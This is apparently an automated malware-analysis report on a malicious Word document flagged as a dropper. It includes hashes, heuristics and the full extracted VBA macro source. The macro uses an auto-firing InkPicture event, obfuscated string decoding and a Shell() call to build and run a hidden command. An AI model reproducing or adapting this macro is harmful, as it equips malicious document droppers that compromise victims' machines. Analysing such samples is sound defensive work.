Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 96628e8aadd807d7…

MALICIOUS

Office (OLE)

75.0 KB Created: 2018-06-27 08:56:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 23c982cd033934dd1f173e4e6bcd8c0b SHA-1: 08a776e8a3e559c4d8b422270465727f02af5946 SHA-256: 96628e8aadd807d7c7a4d655caa7c9f66460ffa75191c742a1d8afad2dbefd52
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter

The sample contains VBA macros that utilize the Shell() function, a critical heuristic indicating execution of external commands. The ClamAV detection name 'Doc.Dropper.Agent-6593041-0' further supports its malicious nature as a dropper. The script's obfuscated string decoding and concatenation suggest it is preparing to download and execute a secondary payload, though the exact URL or command is not directly reconstructible from the provided snippet.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-6593041-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6593041-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2778 bytes
SHA-256: 5ffb1e514675de3af5df700c2136d98732d155e312d7d7a488ac7b30d9bf655a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "InkPicture1, 0, 0, MSINKAUTLib, InkPicture"
Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
UserForm1.TextBox3 = "1"
End Sub


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{B9A614E0-84B0-4774-992D-D7B0D0F29FE8}{412FD4FB-ADE7-47DB-91F6-BBC5A89FC56F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub TextBox2_Change()
Shell UserForm1.TextBox2, 0
End Sub

Private Sub TextBox3_Change()
name1 = gnkruhl()
name2 = gnkruhl()
name3 = gnkruhl()
name4 = gnkruhl()
dec1 = DecodeString("/)kt[/tgfuiojxibbt]$gfuiojxibbt]]ls(/pdf(t")
dec2 = DecodeString("{.jpod(z,t\")
dec3 = DecodeString("};{(iu f'ci/ptjajpi)%(ip%ui'/bdi(p}%kfu(bfhkldbi{\")
dec4 = DecodeString("_$$qp)gq|")
dec5 = DecodeString("%imi$$}:jphop gof/ijjt$$qp)gq|")
dec6 = DecodeString("%imi$$:-poa;")
dec7 = DecodeString("{$$xppgr[[jh'hohjfso/d(z%/f)[)f%'d($$}-/hp/x;")
dec8 = DecodeString("{$$xppgr[[hasxhj%/f%d([)f%'d($$}-$]]tetfsp ldbit i(/fkd(zthj/ddt ldbighpxtqp)gq|")
dec9 = DecodeString("%'hp:tjphop gof/ijjt$qp)gq|")
dec10 = DecodeString("%'hp$t ud(kfujpabitxdkki(]")
text = ""
test2 text, dec1, name1
test2 text, dec2, name2
test2 text, dec3, name2
test2 text, dec4, name3
test2 text, dec5, name3
test2 text, dec6, name1
test2 text, dec7, name1
test2 text, dec8, name4
test2 text, dec9, name4
test2 text, dec10, ""
UserForm1.TextBox2 = text
End Sub

Attribute VB_Name = "Module2"
Function test2(ByRef text, dec, name)
text = text + dec + name
End Function

Attribute VB_Name = "Module1"
Function gnkruhl()
Randomize
leng = 6 * Rnd() + 4
name1 = ""
For i = 1 To leng
num = 24 * Rnd() + 97
name1 = name1 + Chr(num)
Next i
gnkruhl = name1
End Function

Function DecodeString(text)
decode = ""
For i = 1 To Len(text)
decode = decode + GetAlphabetSymbol(SearchNum(Mid(text, i, 1)), 5)
Next i
DecodeString = decode
End Function

Function GetAlphabetSymbol(num, key)
If num - key < 1 Then
GetAlphabetSymbol = Mid(UserForm1.TextBox1, Len(UserForm1.TextBox1) + num - key, 1)
Else
GetAlphabetSymbol = Mid(UserForm1.TextBox1, num - key, 1)
End If
End Function

Function SearchNum(symbol)
For i = 1 To Len(UserForm1.TextBox1)
If symbol = Mid(UserForm1.TextBox1, i, 1) Then
SearchNum = i
End If
Next i
End Function

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